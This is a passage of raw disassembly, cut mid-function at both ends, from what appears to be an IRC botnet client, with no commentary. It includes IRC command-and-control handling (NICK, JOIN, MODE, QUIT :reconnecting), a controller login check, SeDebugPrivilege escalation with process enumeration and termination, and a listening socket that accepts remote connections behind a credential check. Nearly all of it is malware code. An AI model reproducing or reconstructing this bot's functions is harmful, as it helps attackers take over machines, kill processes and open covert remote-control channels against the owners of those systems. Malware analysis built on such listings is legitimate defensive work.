sub_40D2E0+5CC5j ... push 0FFFFFFFEh jmp loc_40D6A9 ; --------------------------------------------------------------------------- loc_412FD0: ; CODE XREF: sub_40D2E0+131Aj ; sub_40D2E0+132Fj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_40BAA1 push offset dword_42B298 call sub_40A5B3 add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_412FF2: ; CODE XREF: sub_40D2E0+12F0j ; sub_40D2E0+1305j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_40BAA1 push offset dword_42B258 call sub_40A5B3 add esp, 0Ch xor eax, eax jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_413013: ; CODE XREF: sub_40D2E0+12C6j ; sub_40D2E0+12DBj push [ebp+var_4] push [ebp+var_8C] push [ebp+arg_4] call sub_405756 jmp loc_411462 ; --------------------------------------------------------------------------- loc_413029: ; CODE XREF: sub_40D2E0+1221j ; sub_40D2E0+1236j push [ebp+esi+var_90] push 1Fh push offset dword_42B248 push offset dword_42B23C jmp loc_40E341 ; --------------------------------------------------------------------------- loc_413041: ; CODE XREF: sub_40D2E0+11F7j ; sub_40D2E0+120Cj push [ebp+esi+var_90] push 1Ch push offset dword_42B230 push offset dword_42B220 jmp loc_40E341 ; --------------------------------------------------------------------------- loc_413059: ; CODE XREF: sub_40D2E0+1022j ; sub_40D2E0+1037j mov edi, [ebp+esi+var_90] cmp edi, ebx jz short loc_413078 push edi call sub_4159EF test eax, eax pop ecx jz short loc_413078 push edi call sub_4159EF pop ecx jmp short loc_41307D ; --------------------------------------------------------------------------- loc_413078: ; CODE XREF: sub_40D2E0+5D82j ; sub_40D2E0+5D8Dj mov eax, ds:dword_42ACC0 loc_41307D: ; CODE XREF: sub_40D2E0+5D96j mov esi, [ebp+esi+var_8C] mov [ebp+var_478], eax cmp esi, ebx jz short loc_4130A2 push esi loc_41308F: ; CODE XREF: sub_40D2E0+5DD1j lea eax, [ebp+var_488] push 10h push eax call sub_4159FA add esp, 0Ch jmp short loc_4130B9 ; --------------------------------------------------------------------------- loc_4130A2: ; CODE XREF: sub_40D2E0+5DACj cmp [ebp+var_9C7], bl jz short loc_4130B3 lea eax, [ebp+var_D8] push eax jmp short loc_41308F ; --------------------------------------------------------------------------- loc_4130B3: ; CODE XREF: sub_40D2E0+5DC8j mov [ebp+var_488], bl loc_4130B9: ; CODE XREF: sub_40D2E0+5DC0j mov eax, [ebp+var_4] push [ebp+var_8C] mov esi, [ebp+arg_4] mov [ebp+var_46C], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_468], eax lea eax, [ebp+var_508] push eax mov [ebp+var_50C], esi call sub_4159FA add esp, 0Ch push [ebp+var_478] push esi call sub_409526 pop ecx push eax lea eax, [ebp+var_2DC] push offset unk_426E74 push eax call sub_415480 push ebx lea eax, [ebp+var_2DC] push 11h push eax call sub_414F2C add esp, 1Ch mov [ebp+var_474], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_50C] push ebx push eax push offset sub_406630 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_474] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_41316A loc_413154: ; CODE XREF: sub_40D2E0+5E88j cmp [ebp+var_464], ebx jnz loc_40D6A7 push 32h call ds:dword_422054 ; Sleep jmp short loc_413154 ; --------------------------------------------------------------------------- loc_41316A: ; CODE XREF: sub_40D2E0+5E72j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42B1D8 jmp loc_40D890 ; --------------------------------------------------------------------------- loc_41317B: ; CODE XREF: sub_40D2E0+FCEj ; sub_40D2E0+FE3j ... push edi push offset aSecure ; "secure" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_4131A3 push edi push offset aSec ; "sec" call sub_4158A0 pop ecx mov [ebp+var_46C], ebx test eax, eax pop ecx jnz short loc_4131AD loc_4131A3: ; CODE XREF: sub_40D2E0+5EAAj mov [ebp+var_46C], 1 loc_4131AD: ; CODE XREF: sub_40D2E0+5EC1j push [ebp+var_8C] lea eax, [ebp+var_4F0] push 80h push eax call sub_4159FA mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_46C], ebx mov [ebp+var_4F4], eax mov eax, [ebp+var_4] mov [ebp+var_468], eax mov eax, [ebp+var_8] mov [ebp+var_464], eax mov eax, offset aSecuring ; "Securing" jnz short loc_4131F4 mov eax, offset aUnsecuring ; "Unsecuring" loc_4131F4: ; CODE XREF: sub_40D2E0+5F0Dj push eax push offset dword_42B18C lea eax, [ebp+var_2DC] push 200h push eax call sub_4159FA push ebx lea eax, [ebp+var_2DC] push 1Ah push eax call sub_414F2C add esp, 1Ch mov [ebp+var_470], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4F4] push ebx push eax push offset sub_414396 push ebx push ebx call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_470] imul ecx, 234h cmp eax, ebx mov ds:dword_43BED4[ecx], eax jz short loc_413264 loc_413252: ; CODE XREF: sub_40D2E0+5F82j cmp [ebp+var_460], ebx jnz short loc_41327F push 32h call ds:dword_422054 ; Sleep jmp short loc_413252 ; --------------------------------------------------------------------------- loc_413264: ; CODE XREF: sub_40D2E0+5F70j call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset unk_42B140 loc_413270: ; CODE XREF: sub_40D2E0+3DA5j ; sub_40D2E0+4AC1j ... lea eax, [ebp+var_2DC] push eax call sub_415480 add esp, 0Ch loc_41327F: ; CODE XREF: sub_40D2E0+2EB3j ; sub_40D2E0+3959j ... lea eax, [ebp+var_2DC] push eax call sub_40A5B3 jmp loc_40D896 ; --------------------------------------------------------------------------- loc_413290: ; CODE XREF: sub_40D2E0+FA4j ; sub_40D2E0+FB9j push offset aAbosal7Tool ; "ABOSAL7 tool" push offset dword_42B120 jmp loc_40F51F ; --------------------------------------------------------------------------- loc_41329F: ; CODE XREF: sub_40D2E0+F7Aj ; sub_40D2E0+F8Fj mov esi, [ebp+esi+var_90] cmp esi, ebx jz short loc_4132FF push esi call sub_4159EF cmp eax, ebx pop ecx jl short loc_4132F4 cmp eax, 2 jge short loc_4132F4 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_4132E9 lea eax, [esi+1] push eax lea eax, [ebp+var_2DC] push offset dword_42E4F4 push eax call sub_415480 add esp, 0Ch mov [esi], bl jmp loc_40F2C5 ; --------------------------------------------------------------------------- loc_4132E9: ; CODE XREF: sub_40D2E0+5FE8j push eax push offset dword_42B0E4 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_4132F4: ; CODE XREF: sub_40D2E0+5FD3j ; sub_40D2E0+5FD8j push eax push offset dword_42B0A8 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_4132FF: ; CODE XREF: sub_40D2E0+5FC8j mov edi, [ebp+arg_18] xor esi, esi loc_413304: ; CODE XREF: sub_40D2E0+6040j push [ebp+var_94] push edi call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_413327 inc esi add edi, 80h cmp esi, 2 jl short loc_413304 jmp loc_40F2C5 ; --------------------------------------------------------------------------- loc_413327: ; CODE XREF: sub_40D2E0+6034j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_D8] push eax push offset dword_42E4F4 jmp loc_40F2B6 ; --------------------------------------------------------------------------- loc_413341: ; CODE XREF: sub_40D2E0+F50j ; sub_40D2E0+F65j push [ebp+var_90] push offset dword_42E464 call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_4133B5 call sub_4150F5 push ebx call ds:off_42212C loc_413363: ; CODE XREF: sub_40D2E0+F26j ; sub_40D2E0+F3Bj push [ebp+esi+var_90] xor eax, eax cmp [ebp+var_9B8], bl setnz al push eax lea eax, [ebp+var_928] push ds:dword_42ACE4 push eax call sub_41416F add esp, 10h lea eax, [ebp+var_928] push eax push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch lea eax, [ebp+var_928] push eax push offset dword_42B074 loc_4133AE: ; CODE XREF: sub_40D2E0+4344j ; sub_40D2E0+49D7j ... call sub_40A627 pop ecx loc_4133B4: ; CODE XREF: sub_40D2E0+17E7j pop ecx loc_4133B5: ; CODE XREF: sub_40D2E0+65Fj ; sub_40D2E0+66Bj ... mov eax, [ebp+arg_24] jmp loc_40D6AA ; --------------------------------------------------------------------------- loc_4133BD: ; CODE XREF: sub_40D2E0+B28j ; sub_40D2E0+B3Bj mov esi, [ebp+esi+var_90] cmp esi, ebx mov [ebp+arg_0], esi jz loc_40D6A7 cmp [ebp+var_AC], ebx jnz loc_40D6A7 push offset asc_42E570 ; "!" push [ebp+var_94] call sub_416C8F mov esi, eax push offset dword_4325D4 push ebx inc esi call sub_416C8F push offset asc_42B070 ; "~" push eax call sub_416C8F push [ebp+arg_0] mov edi, eax push offset aCool ; "cool" call sub_4158A0 add esp, 20h test eax, eax jz short loc_41345C lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push edi push esi push offset dword_42AFE8 jmp loc_40DC81 ; --------------------------------------------------------------------------- loc_41345C: ; CODE XREF: sub_40D2E0+6138j mov [ebp+arg_24], offset off_42ADDC loc_413463: ; CODE XREF: sub_40D2E0+619Fj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_415285 pop ecx test eax, eax pop ecx jnz short loc_4134C3 add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_42ADE0 jb short loc_413463 lea eax, [ebp+var_D8] push edi push eax lea eax, [ebp+var_D8] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 14h lea eax, [ebp+var_D8] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push edi push esi push offset dword_42AFAC jmp loc_40DC81 ; --------------------------------------------------------------------------- loc_4134C3: ; CODE XREF: sub_40D2E0+6192j mov edi, [ebp+arg_18] xor esi, esi loc_4134C8: ; CODE XREF: sub_40D2E0+6212j cmp [ebp+arg_0], ebx jz loc_40D6A7 cmp [edi], bl jnz short loc_4134E8 push [ebp+arg_0] push offset aCool ; "cool" call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_4134F9 loc_4134E8: ; CODE XREF: sub_40D2E0+61F3j inc esi add edi, 80h cmp esi, 2 jl short loc_4134C8 jmp loc_40D6A7 ; --------------------------------------------------------------------------- loc_4134F9: ; CODE XREF: sub_40D2E0+6206j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_AA8] push 7Fh push eax push esi call sub_416D30 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_413530 push ebx push [ebp+var_4] push offset dword_42AF80 push [ebp+var_8C] push [ebp+arg_4] call sub_40BAE7 add esp, 14h loc_413530: ; CODE XREF: sub_40D2E0+6234j lea eax, [ebp+var_D8] push eax push offset dword_42AF50 jmp loc_40D890 ; --------------------------------------------------------------------------- loc_413541: ; CODE XREF: sub_40D2E0+20Ej ; sub_40D2E0+223j push [ebp+arg_10] push offset aUserhostS ; "USERHOST %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 0Ch push offset aXi ; "+xi" push [ebp+arg_10] push offset aModeSS ; "MODE %s %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 10h push [ebp+arg_C] push [ebp+arg_8] push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] call sub_40BAA1 add esp, 10h mov ds:dword_4C8E3C, edi jmp loc_40D57D sub_40D2E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41358D proc near ; CODE XREF: sub_40767D+45p ; sub_40767D+166p ... var_14 = dword ptr -14h var_10 = byte ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 14h lea eax, [ebp+var_4] push eax push 28h call ds:dword_42211C ; GetCurrentProcess push eax call ds:dword_43644C ; OpenProcessToken test eax, eax jnz short loc_4135AC leave retn ; --------------------------------------------------------------------------- loc_4135AC: ; CODE XREF: sub_41358D+1Bj lea eax, [ebp+var_10] push esi push eax xor esi, esi push [ebp+arg_0] push esi call ds:dword_436424 ; LookupPrivilegeValueA test eax, eax jz short loc_4135EA cmp [ebp+arg_4], esi mov [ebp+var_14], 1 jz short loc_4135D3 or [ebp+var_8], 2 jmp short loc_4135D7 ; --------------------------------------------------------------------------- loc_4135D3: ; CODE XREF: sub_41358D+3Ej and [ebp+var_8], 0FFFFFFFDh loc_4135D7: ; CODE XREF: sub_41358D+44j push esi push esi lea eax, [ebp+var_14] push esi push eax push esi push [ebp+var_4] call ds:dword_4364D4 ; AdjustTokenPrivileges mov esi, eax loc_4135EA: ; CODE XREF: sub_41358D+32j push [ebp+var_4] call ds:off_422074 mov eax, esi pop esi leave retn sub_41358D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4135F8 proc near ; CODE XREF: sub_40D2E0+4B66p ; sub_4137A9+74p var_550 = byte ptr -550h var_350 = dword ptr -350h var_34C = byte ptr -34Ch var_230 = byte ptr -230h var_12C = dword ptr -12Ch var_128 = byte ptr -128h var_124 = dword ptr -124h var_108 = byte ptr -108h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 550h push ebx push esi push edi push 49h xor ebx, ebx pop ecx xor eax, eax cmp ds:dword_436488, ebx lea edi, [ebp+var_128] mov [ebp+var_12C], ebx rep stosd mov ecx, 88h lea edi, [ebp+var_34C] mov [ebp+var_350], ebx rep stosd jz loc_4137A2 cmp ds:dword_43646C, ebx jz loc_4137A2 cmp ds:dword_436388, ebx jz loc_4137A2 push 1 push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41358D pop ecx pop ecx push ebx push 0Fh call ds:dword_436488 ; CreateToolhelp32Snapshot cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_413795 lea eax, [ebp+var_12C] mov [ebp+var_12C], 128h push eax push [ebp+var_4] call ds:dword_43646C ; Process32First mov esi, ds:off_422074 test eax, eax jz loc_413790 loc_41369B: ; CODE XREF: sub_4135F8+BEj ; sub_4135F8+CCj ... lea eax, [ebp+var_12C] push eax push [ebp+var_4] call ds:dword_436388 ; Process32Next test eax, eax jz loc_413790 cmp [ebp+arg_10], ebx jnz short loc_41369B cmp [ebp+arg_C], ebx jnz loc_413748 cmp [ebp+arg_4], ebx jz short loc_41369B push [ebp+var_124] push 8 call ds:dword_436488 ; CreateToolhelp32Snapshot cmp [ebp+arg_14], ebx mov edi, eax mov [ebp+var_350], 224h jz short loc_413705 lea eax, [ebp+var_350] push eax push edi call ds:dword_436334 ; Module32First push [ebp+var_124] test eax, eax jz short loc_41370B lea eax, [ebp+var_230] jmp short loc_413711 ; --------------------------------------------------------------------------- loc_413705: ; CODE XREF: sub_4135F8+EBj push [ebp+var_124] loc_41370B: ; CODE XREF: sub_4135F8+103j lea eax, [ebp+var_108] loc_413711: ; CODE XREF: sub_4135F8+10Bj push eax lea eax, [ebp+var_550] push offset aSD_0 ; " %s (%d)" push eax call sub_415480 add esp, 10h lea eax, [ebp+var_550] push 1 push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40BAE7 add esp, 14h push edi call esi ; sub_4DB3D5 jmp loc_41369B ; --------------------------------------------------------------------------- loc_413748: ; CODE XREF: sub_4135F8+C3j push [ebp+arg_C] lea eax, [ebp+var_108] push eax call sub_4158A0 pop ecx test eax, eax pop ecx jnz loc_41369B push [ebp+var_124] push ebx push 1F0FFFh call ds:dword_4220DC ; OpenProcess push [ebp+var_4] mov edi, eax call esi ; sub_4DB3D5 push ebx push edi call ds:dword_422158 ; TerminateProcess test eax, eax jnz short loc_41378B push edi call esi ; sub_4DB3D5 jmp short loc_4137A2 ; --------------------------------------------------------------------------- loc_41378B: ; CODE XREF: sub_4135F8+18Cj push 1 pop eax jmp short loc_4137A4 ; --------------------------------------------------------------------------- loc_413790: ; CODE XREF: sub_4135F8+9Dj ; sub_4135F8+B5j push [ebp+var_4] call esi ; sub_4DB3D5 loc_413795: ; CODE XREF: sub_4135F8+75j push ebx push offset aSedebugprivile ; "SeDebugPrivilege" call sub_41358D pop ecx pop ecx loc_4137A2: ; CODE XREF: sub_4135F8+3Aj ; sub_4135F8+46j ... xor eax, eax loc_4137A4: ; CODE XREF: sub_4135F8+196j pop edi pop esi pop ebx leave retn sub_4135F8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4137A9 proc near ; DATA XREF: sub_40D2E0+595Co var_298 = byte ptr -298h var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 298h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] push offset unk_42E5F4 rep movsd mov dword ptr [eax+94h], 1 lea eax, [ebp+var_298] push eax call sub_415480 xor esi, esi pop ecx cmp [ebp+var_8], esi pop ecx jnz short loc_413808 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40BAE7 add esp, 14h loc_413808: ; CODE XREF: sub_4137A9+3Dj push [ebp+var_10] lea eax, [ebp+var_94] push esi push esi push [ebp+var_C] push eax push [ebp+var_98] call sub_4135F8 add esp, 18h test eax, eax jnz short loc_413830 push offset unk_42E5BC jmp short loc_413835 ; --------------------------------------------------------------------------- loc_413830: ; CODE XREF: sub_4137A9+7Ej push offset unk_42E584 loc_413835: ; CODE XREF: sub_4137A9+85j lea eax, [ebp+var_298] push eax call sub_415480 cmp [ebp+var_8], esi pop ecx pop ecx jnz short loc_413868 push esi lea eax, [ebp+var_298] push [ebp+var_C] push eax lea eax, [ebp+var_94] push eax push [ebp+var_98] call sub_40BAE7 add esp, 14h loc_413868: ; CODE XREF: sub_4137A9+9Dj lea eax, [ebp+var_298] push eax call sub_40A5B3 push [ebp+var_14] call sub_415248 pop ecx pop ecx push esi call ds:dword_422044 ; ExitThread pop edi pop esi sub_4137A9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_413887 proc near ; CODE XREF: sub_40D2E0+4B08p ; sub_415067+53p arg_0 = dword ptr 4 push esi push edi push 1 pop edi push [esp+8+arg_0] push 0 push 1F0FFFh call ds:dword_4220DC ; OpenProcess mov esi, eax test esi, esi jz short loc_4138B9 push 0 push esi call ds:dword_422158 ; TerminateProcess test eax, eax jnz short loc_4138B9 push esi xor edi, edi call ds:off_422074 loc_4138B9: ; CODE XREF: sub_413887+1Aj ; sub_413887+27j mov eax, edi pop edi pop esi retn sub_413887 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138BE proc near ; CODE XREF: sub_403A1B+63p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi call sub_4154DC mov esi, [ebp+arg_0] mov [ebp+var_4], eax mov eax, [ebp+arg_4] fild [ebp+var_4] sub eax, esi mov [ebp+arg_4], eax fimul [ebp+arg_4] fmul ds:dbl_422688 call sub_415F6C sub esi, eax mov eax, esi pop esi leave retn sub_4138BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4138EE proc near ; DATA XREF: sub_413B7C+1BEo var_3D4 = byte ptr -3D4h var_350 = byte ptr -350h var_208 = dword ptr -208h var_1F4 = dword ptr -1F4h var_1F0 = dword ptr -1F0h var_F0 = byte ptr -0F0h var_B0 = byte ptr -0B0h var_4C = byte ptr -4Ch var_3C = byte ptr -3Ch var_2C = byte ptr -2Ch var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp+var_3D4] push 1 mov [ebp+var_C], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp+var_208] mov [ebp+arg_0], eax imul eax, 234h lea esi, dword_43BECC[eax] xor edi, edi mov [ebp+var_8], edi mov [ebp+var_1F4], ebx mov eax, [esi] mov [ebp+var_1F0], eax lea eax, [ebp+var_C] push eax push edi lea eax, [ebp+var_1F4] push edi push eax push edi call ds:dword_436450 ; select test eax, eax jnz short loc_413972 push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push edi call ds:dword_422044 ; ExitThread loc_413972: ; CODE XREF: sub_4138EE+6Aj push edi lea eax, [ebp+var_3C] push ebx push eax push dword ptr [esi] call ds:dword_436480 ; recv lea eax, [ebp+var_2C] push 10h push eax push dword ptr [esi] call sub_413AF3 lea eax, [ebp+var_4C] push 10h push eax push dword ptr [esi] call sub_413AF3 lea eax, [ebp+var_F0] push 40h push eax push dword ptr [esi] call sub_413AF3 add esp, 24h lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_1C] push eax push dword ptr [esi] call ds:dword_4363C4 ; getpeername test eax, eax jz short loc_4139EB call ds:dword_4363FC ; WSAGetLastError push eax push offset dword_42E6E8 call sub_40A627 push [ebp+arg_0] call sub_415248 add esp, 0Ch push edi call ds:dword_422044 ; ExitThread loc_4139EB: ; CODE XREF: sub_4138EE+D8j push 2 lea eax, [ebp+var_18] push 4 push eax call ds:dword_436420 ; gethostbyaddr cmp eax, edi jnz short loc_413A15 push [ebp+var_18] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_B0] push eax call sub_415480 jmp short loc_413A23 ; --------------------------------------------------------------------------- loc_413A15: ; CODE XREF: sub_4138EE+10Dj push dword ptr [eax] lea eax, [ebp+var_B0] push eax call sub_415B90 loc_413A23: ; CODE XREF: sub_4138EE+125j pop ecx pop ecx push edi push ebx push offset byte_4325D8 push dword ptr [esi] call ds:dword_4364B8 ; send cmp ds:dword_4C8E4C, edi jnz short loc_413A85 push [ebp+var_18] lea eax, [ebp+var_350] push eax lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax call sub_413B4D add esp, 10h test eax, eax jnz short loc_413A85 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call ds:dword_4364B8 ; send push dword ptr [esi] call ds:dword_436500 ; closesocket push [ebp+arg_0] call sub_415248 pop ecx push edi call ds:dword_422044 ; ExitThread loc_413A85: ; CODE XREF: sub_4138EE+14Cj ; sub_4138EE+16Dj lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset dword_42E69C call sub_40A627 push [ebp+arg_0] call sub_414A34 add esp, 10h test eax, eax jnz short loc_413ACC call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42E660 call sub_40A627 push [ebp+arg_0] call sub_415248 add esp, 0Ch push ebx call ds:dword_422044 ; ExitThread loc_413ACC: ; CODE XREF: sub_4138EE+1B9j lea eax, [ebp+var_B0] push eax lea eax, [ebp+var_2C] push eax push offset dword_42E628 call sub_40A627 push [ebp+arg_0] call sub_415248 add esp, 10h push edi call ds:dword_422044 ; ExitThread sub_4138EE endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413AF3 proc near ; CODE XREF: sub_4138EE+9Ap ; sub_4138EE+A7p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call ds:dword_436480 ; recv cmp eax, 1 jnz short loc_413B43 mov esi, [ebp+arg_4] loc_413B11: ; CODE XREF: sub_413AF3+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_413B38 test al, al jz short loc_413B47 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call ds:dword_436480 ; recv cmp eax, 1 jz short loc_413B11 jmp short loc_413B43 ; --------------------------------------------------------------------------- loc_413B38: ; CODE XREF: sub_413AF3+27j push offset dword_42E724 call sub_40A627 pop ecx loc_413B43: ; CODE XREF: sub_413AF3+19j ; sub_413AF3+43j xor eax, eax jmp short loc_413B4A ; --------------------------------------------------------------------------- loc_413B47: ; CODE XREF: sub_413AF3+2Bj push 1 pop eax loc_413B4A: ; CODE XREF: sub_413AF3+52j pop esi leave retn sub_413AF3 endp ; =============== S U B R O U T I N E ======================================= sub_413B4D proc near ; CODE XREF: sub_4138EE+163p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_4158A0 pop ecx test eax, eax pop ecx jz short loc_413B78 push [esp+arg_4] push [esp+4+arg_0] push offset dword_42E75C call sub_40A627 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_413B78: ; CODE XREF: sub_413B4D+11j push 1 pop eax retn sub_413B4D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B7C proc near ; DATA XREF: sub_40D2E0+5623o var_5DC = dword ptr -5DCh var_5A4 = byte ptr -5A4h var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_24 = byte ptr -24h var_20 = word ptr -20h var_1E = word ptr -1Eh var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5A4h mov eax, [ebp+arg_0] push esi push edi push 78h pop ecx mov esi, eax lea edi, [ebp+var_214] push 1 rep movsd pop edi mov [eax+1DCh], edi lea eax, [ebp+var_5A4] push eax push 202h call ds:dword_4363E0 ; WSAStartup xor esi, esi cmp eax, esi jz short loc_413BD5 push eax push offset dword_42E920 call sub_40A627 push [ebp+var_4C] call sub_415248 add esp, 0Ch push edi call ds:dword_422044 ; ExitThread loc_413BD5: ; CODE XREF: sub_413B7C+3Aj push edi push offset loc_413DFA call ds:dword_42215C ; SetConsoleCtrlHandler test eax, eax jnz short loc_413C0E call ds:dword_42206C ; RtlGetLastWin32Error push eax push offset dword_42E8D0 call sub_40A627 pop ecx pop ecx call ds:dword_4363C8 ; WSACleanup push [ebp+var_4C] call sub_415248 pop ecx push edi call ds:dword_422044 ; ExitThread loc_413C0E: ; CODE XREF: sub_413B7C+67j push ebx push 10h lea eax, [ebp+var_20] push esi push eax call sub_415500 add esp, 0Ch mov [ebp+var_20], 2 push [ebp+var_50] call ds:dword_436468 ; htons push 6 push edi push 2 mov [ebp+var_1E], ax mov [ebp+var_1C], esi call ds:dword_4364E8 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_413D85 mov eax, [ebp+var_4C] push 10h imul eax, 234h mov ds:dword_43BECC[eax], ebx lea eax, [ebp+var_20] push eax push ebx call ds:dword_436494 ; bind test eax, eax jnz loc_413D85 push 7FFFFFFFh push ebx call ds:dword_436490 ; listen test eax, eax jnz loc_413D85 push offset dword_42E884 mov [ebp+var_10], 0Ch mov [ebp+var_C], esi mov [ebp+var_8], esi call sub_40A5B3 pop ecx mov [ebp+arg_0], edi loc_413C9D: ; CODE XREF: sub_413B7C+15Aj ; sub_413B7C+1E4j lea eax, [ebp+var_4] mov [ebp+var_4], 10h push eax lea eax, [ebp+var_34] push eax push ebx call ds:dword_4364FC ; accept mov edi, eax cmp edi, 0FFFFFFFFh jz loc_413D88 push [ebp+arg_0] lea eax, [ebp+arg_0] push eax push 8 push 0FFFFh push edi call ds:dword_436448 ; setsockopt cmp eax, 0FFFFFFFFh jz short loc_413C9D movzx eax, [ebp+var_32] push [ebp+var_4C] mov [ebp+var_38], esi push eax push [ebp+var_30] call ds:dword_4364F4 ; inet_ntoa push eax lea eax, [ebp+var_414] push offset dword_42E830 push eax call sub_415480 lea eax, [ebp+var_414] push eax call sub_40A5B3 push edi lea eax, [ebp+var_414] push 6 push eax call sub_414F2C mov [ebp+var_48], eax imul eax, 234h mov ecx, [ebp+var_4C] add esp, 24h mov ds:dword_43BEC4[eax], ecx lea eax, [ebp+var_24] push eax lea eax, [ebp+var_214] push esi push eax push offset sub_4138EE lea eax, [ebp+var_10] push esi push eax call ds:dword_422070 ; CreateThread mov ecx, [ebp+var_48] imul ecx, 234h cmp eax, esi mov ds:dword_43BED4[ecx], eax jz short loc_413D70 loc_413D5D: ; CODE XREF: sub_413B7C+1F2j cmp [ebp+var_38], esi jnz loc_413C9D push 32h call ds:dword_422054 ; Sleep jmp short loc_413D5D ; --------------------------------------------------------------------------- loc_413D70: ; CODE XREF: sub_413B7C+1DFj 